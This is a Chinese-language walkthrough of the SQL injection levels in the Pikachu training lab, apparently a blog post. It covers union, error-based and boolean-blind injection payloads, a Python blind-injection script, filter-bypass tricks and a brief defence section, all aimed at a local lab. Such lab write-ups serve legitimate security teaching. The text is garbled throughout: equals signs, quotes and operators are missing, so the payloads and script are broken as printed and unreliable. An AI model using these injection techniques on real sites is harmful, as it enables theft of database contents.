1. Pikachu靶场SQL注入实战与解题笔记第一次接触Pikachu靶场是在去年的一次内部安全培训中这个以宝可梦命名的漏洞演练平台让我印象深刻。作为Web安全入门必备的实战环境Pikachu靶场通过精心设计的漏洞场景帮助学习者理解SQL注入的攻击原理和防御方法。今天我就结合自己通关SQL注入关卡的完整过程分享从基础注入到高级绕过的手记特别适合刚接触Web安全的新手参考。SQL注入SQL-Inject作为OWASP Top 10的常驻漏洞本质是将恶意SQL代码插入到输入参数中欺骗后端数据库执行非预期命令。在Pikachu靶场中开发者模拟了不同类型的注入场景包括GET/POST型注入、报错注入、布尔盲注和时间盲注等。通过这个靶场不仅能学习攻击手法更重要的是理解漏洞产生的根本原因为后续代码审计和漏洞修复打下基础。2. 环境准备与靶场搭建2.1 Pikachu靶场部署要点Pikachu靶场基于PHPMySQL架构推荐使用XAMPP或Docker快速部署。我选择在本地Windows环境通过XAMPP搭建从Pikachu官网下载最新release包当前版本v2.0解压到XAMPP的htdocs目录下访问http://localhost/pikachu-master完成初始化安装注意MySQL需要配置为5.5以上版本PHP建议7.x避免因版本兼容导致功能异常。安装后务必修改config.inc.php中的数据库连接信息。2.2 靶场目录结构解析了解靶场目录结构有助于后续漏洞分析/pikachu ├── /inc # 公共函数库 ├── /pkxss # XSS漏洞模块 ├── /pikachu # SQL注入模块核心 │ ├── /sqli # 注入关卡目录 │ │ ├── /1 # 基础注入 │ │ ├── /2 # 报错注入 │ │ └── ... # 其他类型 ├── /install # 安装脚本 └── /README.md # 说明文档3. SQL注入基础通关详解3.1 数字型注入关卡1访问/pikachu/sqli/1/这是一个简单的用户查询页面。通过URL参数id传递查询条件SELECT * FROM users WHERE id $_GET[id]攻击步骤测试基础注入1 and 11页面正常返回确认注入点1 and 12页面无数据获取字段数1 order by 4--测试到order by 3时报错说明共3列联合查询获取数据-1 union select 1,database(),user()--关键技巧使用--替代注释符兼容URL编码联合查询时前段条件置为负值或不存在值如-1information_schema库是MySQL的元数据库存储所有表结构信息3.2 字符型注入关卡2与数字型不同字符型注入需要处理引号闭合SELECT * FROM users WHERE username $_GET[name]Payload构造admin and 11-- # 测试注入 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()--注意字符型注入必须闭合前端的引号否则会导致SQL语法错误。遇到过滤时可尝试编码绕过。4. 高级注入技巧实战4.1 报错注入利用当页面不返回查询数据但显示错误信息时可利用报错注入1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)--Pikachu靶场中提供了floor报错、updatexml报错等多种场景。关键是要理解updatexml第二个参数需要符合XPath语法concat函数结合0x7e(~)产生非法字符触发报错extractvalue函数同样可利用4.2 布尔盲注自动化当页面只有存在/不存在两种状态时需要逐字符判断import requests url http://localhost/pikachu/sqli/3/ result for i in range(1,20): for j in range(32,127): payload f1 and ascii(substr(database(),{i},1)){j}-- r requests.get(url, params{id:payload}) if admin in r.text: result chr(j) print(result) break优化技巧使用二分查找法减少请求次数结合正则匹配提高判断准确率多线程加速爆破过程5. 防御方案与代码审计5.1 常见防御措施对比防御方式原理优缺点预处理语句SQL与参数分离最有效需改造代码输入过滤黑名单/白名单易被绕过WAF防护规则匹配拦截存在误判最小权限限制数据库账号权限需合理配置5.2 Pikachu靶场源码分析查看/pikachu/inc/function.php中的过滤函数function check_sql($str){ $filter [select,union,load_file,outfile]; foreach($filter as $v){ if(stripos($str,$v) ! false){ die(Hacker!); } } return $str; }这种过滤存在明显缺陷未处理大小写变种可用SeLeCt绕过未过滤注释符如-- /*可使用编码绕过如hex、char6. 实战中的疑难问题6.1 过滤绕过技巧记录等价替换and→or→||注释变形--→#→/*xxx*/函数替代substr→mid→left/right编码混淆0x61646d696eadmin的hex6.2 MySQL特性利用利用/**/替代空格绕过union/**/select反引号处理关键字select→se%0alect字符串拼接concat(ad,min)利用like进行模糊匹配7. 拓展学习建议完成Pikachu靶场后建议继续挑战DVWADamn Vulnerable Web ApplicationWebGoatOWASP官方靶场SQLi-Labs专注SQL注入对于想深入理解SQL注入原理的同学推荐阅读《SQL注入攻击与防御》和MySQL官方文档中关于预处理语句的章节。在实际渗透测试中sqlmap是自动化检测的神器但手动注入能力仍是安全工程师的基本功。